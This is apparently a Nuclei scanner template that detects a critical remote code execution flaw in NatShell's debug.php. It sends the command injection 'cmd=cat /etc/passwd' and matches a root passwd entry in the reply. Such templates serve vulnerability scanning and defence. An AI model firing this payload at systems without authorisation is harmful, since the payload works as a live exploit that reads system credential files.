id: natshell-rce

info:
  name: NatShell Debug File - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: |
    The NatShell debug file is susceptible to a remote code execution vulnerability.
  reference:
    - https://mp.weixin.qq.com/s/g4YNI6UBqIQcKL0TRkKWlw
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 1
  tags: natshell,rce

http:
  - method: POST
    path:
      - "{{BaseURL}}/debug.php"

    body: |
      cmd=cat /etc/passwd

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "toor:[x*]:0:0"

      - type: status
        status:
          - 200

# digest: 4a0a00473045022100f62123bd1f5b60b43ed95b70c0dc52bd8041ff42ee76a4047a9d6c5fdaaca6420220162a7b02cc9eaa83e8ac595cf3ae7b0cc49d9a0b71cd318b5458f0340e0cc39f:922c64590222798bb761d5b6d8e72950
